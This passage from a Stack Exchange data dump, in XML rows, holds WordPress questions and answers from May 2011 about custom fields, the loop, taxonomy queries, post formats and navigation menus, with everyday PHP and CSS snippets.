{&#xA;    global $post;&#xA;if ( is_single() &amp;amp;&amp;amp; in_category('listings') ) { &#xA;        echo meta('address');&#xA;       }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I style the above using the echo meta? Or has anyone ever seen the &quot;1&quot; issue?&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-05-04T12:52:13.360" Title="Odd functions.php issue in Wordpress" Tags="&lt;custom-field&gt;&lt;functions&gt;&lt;3.1&gt;&lt;plugin-more-fields&gt;" AnswerCount="3" />
  <row Id="16287" PostTypeId="2" ParentId="16277" CreationDate="2011-05-03T21:32:55.133" Score="3" ViewCount="" Body="&lt;p&gt;A little tip a lot of people don't know about. You can copy/paste an image url into the upload field and it will be auto uploaded into your blog.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click the image you want to save and select copy image URL (chrome)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your blog click Add Image--&gt; Select Files ( from computer)--&gt;paste url into the upload dialog where it says &quot;file name&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works on windows not sure if does on other OS's.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-03T21:32:55.133" CommentCount="1" />
  <row Id="16288" PostTypeId="2" ParentId="16280" CreationDate="2011-05-03T21:38:32.060" Score="1" ViewCount="" Body="&lt;p&gt;Here is a quick solution for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the page or post you want to add a post footer create a new custom field named &lt;code&gt;post_footer&lt;/code&gt; and in the value add the footer content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then paste this code in your theme's functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content',`my_post_footer`,99);&#xA;function my_post_footer($content){&#xA;   global $post;&#xA;   $footer = get_post_meta($post-&amp;gt;ID,'post_footer',true);&#xA;   if ($footer){&#xA;      return $content . $footer;&#xA;   }&#xA;   return $content&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you are done! &#xA;This way you can have different footers on each page/post and none at all if you don't want it.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-03T21:38:32.060" />
  <row Id="16289" PostTypeId="2" ParentId="16286" CreationDate="2011-05-03T21:45:28.753" Score="0" ViewCount="" Body="&lt;p&gt;This is a hunch because I do not know that plugin, your adding styling tags into the parameters of that function, I doubt that is possible (it might be though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when you use &lt;code&gt;echo more_fields('address')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about &lt;code&gt;echo &quot;&amp;lt;h1&amp;gt;&quot; . more_fields('address') . &quot;&amp;lt;/h1&amp;gt;&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or even better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;h1&amp;gt; &amp;lt;?php more_fields('address'); ?&amp;gt; &amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-03T21:45:28.753" CommentCount="3" />
  <row Id="16290" PostTypeId="2" ParentId="16286" CreationDate="2011-05-03T21:52:34.163" Score="0" ViewCount="" Body="&lt;p&gt;There is no WordPress function called &lt;code&gt;meta()&lt;/code&gt;. Try using &lt;code&gt;get_post_custom()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) instead. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Address&#xA;add_action( 'woo_post_inside_before', 'my_address' );&#xA;function my_address() {&#xA;    if ( is_single() &amp;amp;&amp;amp; in_category('listings') ) { &#xA;        global $post;&#xA;        $meta = get_post_custom();&#xA;        echo '&amp;lt;h1&amp;gt;' . $meta['address'] . '&amp;lt;/h1&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I'm not sure you need to call &lt;code&gt;global $post;&lt;/code&gt; in this context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: updated to add HTML tags.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-03T22:05:12.950" LastActivityDate="2011-05-03T22:05:12.950" CommentCount="3" />
  <row Id="16291" PostTypeId="1" AcceptedAnswerId="16296" CreationDate="2011-05-03T21:53:58.313" Score="0" ViewCount="108" Body="&lt;p&gt;While inside &quot;the loop&quot; in WordPress, is there an easy way to detect if a post is the most recent? A Usage Example: I want to make the first post output an H1 for the title instead of an H2. Or I want the first post to display a thumbnail image (and not the rest).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some pseudocode what I'm trying to get across:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if (have_posts()):&#xA;            while (have_posts()):&#xA;                the_post();&#xA;                the_excerpt();&#xA;                if(is_most_recent()):&#xA;                    // do this&#xA;                endif;&#xA;            endwhile;&#xA;        endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5088" LastActivityDate="2011-05-04T01:51:23.810" Title="While in &quot;the loop&quot;, detect if a post is the most recent" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;functions&gt;&lt;loop&gt;&lt;the-loop&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16292" PostTypeId="1" AcceptedAnswerId="16302" CreationDate="2011-05-03T21:57:52.830" Score="2" ViewCount="135" Body="&lt;p&gt;and thanks in advance for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some searching, and this question has been answered a couple of times with reference to the &quot;posts 2 posts&quot; plugin, but the documentation on that is very &quot;coder-centric&quot; -- I am able to and comfortable getting my hands dirty, but I do require better Step-by-Step documentation than what is available there. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I need. I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/gpress/&quot; rel=&quot;nofollow&quot;&gt;gPress&lt;/a&gt; to generate &quot;Places&quot; using their custom post type. This is working amazingly well. What I need to do is to be able to add &quot;Events&quot; to a Place. I can use a custom post type to capture all event details, but then I'd like to be able to attach Events to a specific Place, and vice-versa. If someone was viewing the Event post, there would be a somewhat easy way to also pull the Place information related to the Event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much -- any plugins or other suggestions are appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="5087" LastActivityDate="2011-05-04T01:01:41.817" Title="Linking Two Post Types" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="16293" PostTypeId="2" ParentId="16291" CreationDate="2011-05-03T22:02:52.873" Score="1" ViewCount="" Body="&lt;p&gt;Try using &lt;code&gt;get_posts()&lt;/code&gt;? (&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_latest_post() {&#xA;     $latestpost = get_posts ( array(&#xA;          'numberposts' = 1;&#xA;     ) );&#xA;     $latestpost = $latestpost[0];&#xA;     $is_latest = ( $latestpost-&amp;gt;ID == get_the_ID() ? true : false );&#xA;     return $is_latest;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Must be used within the Loop.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-03T22:02:52.873" />
  <row Id="16294" PostTypeId="2" ParentId="16277" CreationDate="2011-05-03T22:23:44.373" Score="0" ViewCount="" Body="&lt;p&gt;A simple copy paste of the source will include the images but hot linking is something you should always avoid. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-03T22:23:44.373" CommentCount="1" />
  <row Id="16295" PostTypeId="1" AcceptedAnswerId="16299" CreationDate="2011-05-03T22:34:15.667" Score="0" ViewCount="303" Body="&lt;p&gt;Currently I use:&#xA;&lt;code&gt;query_posts(&quot;post_type=listing&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to pull all entries of my custom post type. &#xA;But I have a taxonomy called status with the values of Available, Pending, Sold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to show Available and Pending on one page, and sold on another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-06-06T10:57:29.550" Title="Query multiple taxonomy in Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;query&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16296" PostTypeId="2" ParentId="16291" CreationDate="2011-05-03T22:39:16.070" Score="1" ViewCount="" Body="&lt;p&gt;In addition to @Milo Answer (this avoids a senseless query, because we already got every needed information from the current wp_query):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( have_posts() ) : &#xA;    while ( have_posts() ) : the_post();&#xA;        $headline_html_tag = $GLOBALS['wp_query']-&amp;gt;current_post === (int) 0 &amp;amp;&amp;amp; $GLOBALS['paged'] === (int) 1 ? '1' : '2';&#xA;        the_title( '&amp;lt;h'.$headline_html_tag.'&amp;gt;&amp;lt;a href=&quot;'.get_permalink().'&quot; title=&quot;'.the_title_attribute( array( 'before' =&amp;gt; 'Permalink to: ', 'after' =&amp;gt; '', 'echo' =&amp;gt; false ) ).'&quot;&amp;gt;', '&amp;lt;/a&amp;gt;'.'&amp;lt;/h'.$headline_html_tag.'&amp;gt;', false );&#xA;    endwhile; &#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-04T01:51:23.810" LastActivityDate="2011-05-04T01:51:23.810" CommentCount="5" />
  <row Id="16298" PostTypeId="1" CreationDate="2011-05-03T22:54:47.543" Score="4" ViewCount="127" Body="&lt;p&gt;After upgrading from 2.8.x (maybe it was 2.9.x) to 3.1.2, all the references inside posts to filenames (usually images) which contain accented chars stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before, filenames that are displayed in the filesystem like &quot;EXPRESSÃƒO.jpg&quot; would be correctly called out in the post content HTML as &quot;EXPRESSÃƒO.jpg&quot;. WP 3.x decided to convert those references to &quot;EXPRESSÃO.jpg&quot; (which is what the filename looked like when created/uploaded by the blog author), so now all the images that have such chars are broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ONLY references to filenames are mangled. All other accented text works fine. i was able to, with the help of a perl script via SSH, obtain a list of all the files that have special chars. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tabel with all the mangled chars&lt;/strong&gt;: &lt;a href=&quot;http://pastebin.com/MMbjJphU&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/MMbjJphU&lt;/a&gt;&#xA;(BTW which table is this?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wp-config&lt;/strong&gt; shows (yes i already tried to comment them out)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DB_CHARSET', '');&#xA;define('DB_COLLATE', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mySQL shows&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DB Collation in effect: latin1_swedish_ci    &#xA;default DB Collation: latin1_swedish_ci    &#xA;Tables Collation: latin1_swedish_ci    &#xA;Columns Collation: latin1_swedish_ci&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;whats the quickest way to solve this problem?&lt;/strong&gt; from what i see, i have 2 options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) i could rename the files to use the correct spelling (EXPRESSÃƒO.jpg -&gt; EXPRESSÃO.jpg). I am leaning towards this. &lt;strong&gt;Maybe someone could help with a php/perl/python script that would rename the files?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) i could batch update wp-posts in phpmyadmin to start using all those weird chars (EXPRESSÃO.jpg -&gt; EXPRESSÃƒO.jpg).&lt;/p&gt;&#xA;" OwnerUserId="5090" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:23:09.247" LastActivityDate="2011-08-10T04:48:21.870" Title="One for the gurus: upgrade to 3.x messed up only filenames with accented chars" Tags="&lt;3.0&gt;&lt;encoding&gt;&lt;collation&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="16299" PostTypeId="2" ParentId="16295" CreationDate="2011-05-03T23:03:15.807" Score="1" ViewCount="" Body="&lt;p&gt;There's the &quot;tax_query&quot; argument available since the latest wp release:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;$args['tax_query'] = array(&#xA;    array(&#xA;         'taxonomy' =&amp;gt; 'status'&#xA;        ,'terms'    =&amp;gt; array( 'available', 'pending' ) // change to &quot;sold&quot; for 2nd query&#xA;        ,'field'    =&amp;gt; 'slug'&#xA;    ),&#xA;);&#xA;$args['post_type'] = 'listing';&#xA;parse_str( $query_string, $args );&#xA;&#xA;$avail_n_pend = query_posts( $args );&#xA;&#xA;if ( $avail_n_pend-&amp;gt;have_posts() ) : &#xA;    while ( $avail_n_pend-&amp;gt;have_posts() ) : &#xA;    $avail_n_pend-&amp;gt;the_post();&#xA;    // show result&#xA;    the_title();&#xA;    endwhile; &#xA;endif;&#xA;&#xA;// use this for testing:&#xA;/*&#xA;echo '&amp;lt;pre&amp;gt;'; &#xA;    print_r($GLOBALS['wp_query']-&amp;gt;tax_query); &#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;*/&#xA;&#xA;// rewind for second query&#xA;rewind_posts();&#xA;&#xA;// second_query&#xA;$args['tax_query'] = array(&#xA;    array(&#xA;         'taxonomy' =&amp;gt; 'status'&#xA;        ,'terms'    =&amp;gt; array( 'sold' )&#xA;        ,'field'    =&amp;gt; 'slug'&#xA;    ),&#xA;);&#xA;parse_str( $query_string, $args );&#xA;&#xA;$sold = query_posts( $args );&#xA;&#xA;if ( $sold-&amp;gt;have_posts() ) : &#xA;    while ( $sold-&amp;gt;have_posts() ) : &#xA;    $sold-&amp;gt;the_post();&#xA;    // show result&#xA;    the_title();&#xA;    endwhile; &#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-06T10:57:29.550" LastActivityDate="2011-06-06T10:57:29.550" CommentCount="5" />
  <row Id="16300" PostTypeId="1" AcceptedAnswerId="16339" CreationDate="2011-05-03T23:19:18.283" Score="0" ViewCount="293" Body="&lt;p&gt;Ive been experiencing a problem with the new WordPress 3.1.2 update. When i use &lt;code&gt;add_theme_support();&lt;/code&gt; and register an array of post formats, it registers all of them fine, but when it comes to the video post format, it registers it twice, and gets called &lt;strong&gt;post-format-video-2&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the way im writing out the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-formats', array( 'aside', 'gallery', 'image', 'link', 'video' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ive tested this out both on my theme, and the twentyten theme. The problem is exclusive to the video post-format. Its really strange. Additionally when you declare a &quot;posts&quot; format as &quot;video&quot; upon publishing or updating, the post-format meta box adds a new radio button with a new post format without a slug/name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illustration (where numbers are the radio buttons):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Aside&lt;/li&gt;&#xA;&lt;li&gt;Gallery&lt;/li&gt;&#xA;&lt;li&gt;Image&lt;/li&gt;&#xA;&lt;li&gt;Link&lt;/li&gt;&#xA;&lt;li&gt;Video&lt;/li&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Despite only showing 5 radio buttons, upon updating/publishing, a new radio button appears, and it gets selected (radio button 6) rather than the one I chose (radio button 5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive used the &lt;code&gt;add_action( 'after_setup_theme', 'foobar' );&lt;/code&gt; on my theme with no luck. Of-course this comes standard with twentyten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-04T13:45:35.880" Title="Wordpress 3.1.2 Bug: add_theme_support() and video post format registering twice" Tags="&lt;3.1&gt;&lt;metabox&gt;&lt;post-formats&gt;" AnswerCount="1" CommentCount="14" />
  <row Id="16301" PostTypeId="2" ParentId="16222" CreationDate="2011-05-04T00:37:56.673" Score="2" ViewCount="" Body="&lt;p&gt;Found it while digging around in multisite network admin settings: there is a setting called &quot;Upload file types&quot; (in the database it's the row with &lt;code&gt;meta_key&lt;/code&gt; =  &quot;upload_filetypes&quot; in the &lt;code&gt;wp_sitemeta&lt;/code&gt; table) which contains a list of allowed filetypes. Adding &quot;ppt&quot; to the list allows them to be uploaded.&lt;/p&gt;&#xA;" OwnerUserId="827" LastEditorUserId="827" LastEditorDisplayName="" LastEditDate="2011-05-05T00:43:46.163" LastActivityDate="2011-05-05T00:43:46.163" />
  <row Id="16302" PostTypeId="2" ParentId="16292" CreationDate="2011-05-04T01:01:41.817" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;Scribu's&lt;/a&gt; &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;posts-to-posts&lt;/a&gt; is a great and simple plugin, I'm sure we can help you get it working. The &lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki/Basic-usage&quot; rel=&quot;nofollow&quot;&gt;basic usage&lt;/a&gt; is pretty straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming your custom post types are named &lt;code&gt;'place'&lt;/code&gt; and &lt;code&gt;'event'&lt;/code&gt;, the following code would go into your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_connection_types() {&#xA;    if ( !function_exists( 'p2p_register_connection_type' ) )&#xA;        return;&#xA;&#xA;    p2p_register_connection_type( array( &#xA;        'from' =&amp;gt; 'event',&#xA;        'to' =&amp;gt; 'place',&#xA;        'reciprocal' =&amp;gt; true&#xA;    ) );&#xA;}&#xA;add_action( 'init', 'my_connection_types', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will make the meta boxes to assign relationships available in your custom post edit screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for your single place and event pages, you can create custom templates in your theme following the WordPress &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt; &lt;code&gt;single-{post_type}.php&lt;/code&gt;, so in your case &lt;code&gt;single-event.php&lt;/code&gt; and &lt;code&gt;single-place.php&lt;/code&gt;. you can duplicate these from the single.php template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to list connections, we just need a bit of code within theses templates wherever we want to output the list. this would go in the place template and output connected events:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$connected = new WP_Query( array(&#xA;    'post_type' =&amp;gt; 'event',&#xA;    'connected_to' =&amp;gt; get_queried_object_id()&#xA;) );&#xA;&#xA;echo '&amp;lt;p&amp;gt;Related events:&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;while( $connected-&amp;gt;have_posts() ) : $connected-&amp;gt;the_post();&#xA;    echo '&amp;lt;li&amp;gt;';&#xA;    the_title();&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;endwhile;&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;wp_reset_postdata();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-04T01:01:41.817" CommentCount="1" />
  <row Id="16303" PostTypeId="1" AcceptedAnswerId="16306" CreationDate="2011-05-04T01:32:23.220" Score="0" ViewCount="133" Body="&lt;p&gt;I'd like to have a static home page and also have a link called &quot;Blog&quot; that lists posts in the &quot;blog&quot; category in chronological order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the best way to do this just be to place code in archive.php and do a &quot;switch case&quot; on the category and do a loop on the posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just looking for some options before I decide on a strategy and code the solution.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-04T02:08:56.753" Title="Static home page with &quot;Blog&quot; inside?" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16304" PostTypeId="1" CreationDate="2011-05-04T01:39:10.240" Score="1" ViewCount="464" Body="&lt;p&gt;I was able to use  &lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'theme_location' =&amp;gt; 'primary-menu', 'container' =&amp;gt; false ) ); ?&amp;gt;&lt;/code&gt; to create the menu within my theme. Messed around with 'items_wrap' but couldn't get it to display correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add an image and container div into the sub menu ul before the li's. This is the structure I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul id=&quot;nav&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Page&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/nav_ul_tab.png&quot; class=&quot;nav_ul_tab&quot; /&amp;gt;&#xA;            &amp;lt;div class=&quot;nav_spacer&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Sub Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Sub Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Sub Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5093" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-04T03:11:01.850" LastActivityDate="2011-05-22T00:03:23.603" Title="How to insert custom code into wp_nav_menu structure?" Tags="&lt;custom-menus&gt;&lt;css&gt;&lt;navigation&gt;&lt;menus&gt;" AnswerCount="2" />
  <row Id="16305" PostTypeId="1" CreationDate="2011-05-04T02:00:57.173" Score="2" ViewCount="179" Body="&lt;p&gt;I read somewhere*) that there's some &lt;code&gt;q&lt;/code&gt; part inside the wp_query object, that identifies search engine visitors and shows the keywords they searched for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently developing local, so i can't access/see &lt;code&gt;$GLOBALS['wp_query']-&amp;gt;q;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone varify if this exists and/or has some alternate solution for retrieving:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the search engine &lt;em&gt;name&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;the &lt;em&gt;search string&lt;/em&gt; searched inside the engine?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;*) Can't remember where, but it had something to do with &quot;better search results page&quot; &amp;amp; &quot;hightlighting search terms&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;strong&gt;EDIT&lt;/strong&gt; --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i got so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// declare the server itself as invalid to only catch search engine results&#xA;$http_referer   = explode( &quot;/&quot;, $_SERVER['HTTP_REFERER'] );&#xA;$http_referer   = $http_referer[2];&#xA;$home_url       = explode( &quot;/&quot;, home_url() );&#xA;$home_url       = $home_url[2];&#xA;&#xA;// Coming from a search engine: modify to a search string&#xA;if ( isset( $_SERVER['HTTP_REFERER'] ) &amp;amp;&amp;amp; $home_url !== $http_referer )&#xA;{&#xA;    // remove previous &quot;s&quot; search query args&#xA;    remove_query_arg( 's' );&#xA;&#xA;    $string = parse_url( $_SERVER['HTTP_REFERER'] );&#xA;    $query = $string['query'];&#xA;    $query = explode( &quot;&amp;amp;&quot;, $query );&#xA;    foreach ( $query as $q )&#xA;    {&#xA;        $q = urldecode( $q );&#xA;        $arr = explode( &quot;=&quot;, $q );&#xA;        if ( (string) 'q' === $arr[0] )&#xA;            $search_string = $arr[1];&#xA;    }&#xA;&#xA;    // build a new &quot;s&quot; search query arg: if isset, from the string entered in the search engines input form&#xA;    // in theory that should allow treating it like a normal search result&#xA;    // the draw back is, that a search engine visitor would never get directly to a post or page &#xA;    if ( isset( $search_string ) )&#xA;        add_query_arg( array( 's' =&amp;gt; $search_string ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Aside from the drawback that no search engine visitor would come to a result directly, i wouldn't catch all search engines that way. Google &amp;amp; Altavista got a &lt;code&gt;q=searchstring&lt;/code&gt; query argument. Yahoo for eg. uses &lt;code&gt;p=&lt;/code&gt;...&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-19T20:31:36.083" LastActivityDate="2011-08-19T20:31:36.083" Title="Display title for search engine visitors" Tags="&lt;search&gt;&lt;google-search&gt;&lt;search-engines&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16306" PostTypeId="2" ParentId="16303" CreationDate="2011-05-04T02:08:56.753" Score="5" ViewCount="" Body="&lt;p&gt;wp dashboard &gt; 'Page' &gt; add new &gt; name it 'Home', publish&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp dashboard &gt; 'Page' &gt; add new &gt; name it 'Blog', publish&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp dashboard &gt; Reading Settings &gt; 'Front page displays' select 'a static page' set 'Front page' to 'Home' page that you have added &gt; set 'Posts page' to 'Blog' page that you should have added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem like you need to create a 'Blog' category. Just let your new 'Blog' page display the posts loop, which will be your index.php theme file.&lt;/p&gt;&#xA;" OwnerUserId="5093" LastActivityDate="2011-05-04T02:08:56.753" CommentCount="2" />
  <row Id="16307" PostTypeId="2" ParentId="16305" CreationDate="2011-05-04T02:15:24.373" Score="1" ViewCount="" Body="&lt;p&gt;I just ran a test on my hosted dev site. I ran the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;global $wpdb;&#xA;print_r($wpdb);&#xA;print_r($GLOBALS);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There was no 'wp_query', '[q]', or 'search' variables to be found. Note that I was not able to search this through a search engine as it's not web accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you a little more, here is the whole object I get: &lt;a href=&quot;http://pastebin.com/qV2QSHYf&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/qV2QSHYf&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-05-04T02:26:28.177" LastActivityDate="2011-05-04T02:26:28.177" CommentCount="1" />
  <row Id="16308" PostTypeId="2" ParentId="16304" CreationDate="2011-05-04T03:10:10.507" Score="2" ViewCount="" Body="&lt;p&gt;What you want is invalid markup. The only children an &lt;code&gt;ul&lt;/code&gt; can have are &lt;code&gt;li&lt;/code&gt;. Use CSS instead:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-css prettyprint-override&quot;&gt;&lt;code&gt;#nav ul&#xA;{&#xA;    padding-top:    40px; /* Your image size. */&#xA;    background:     url(/path/to/your/image/img.png) top center no-repeat transparent;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-04T03:10:10.507" CommentCount="1" />
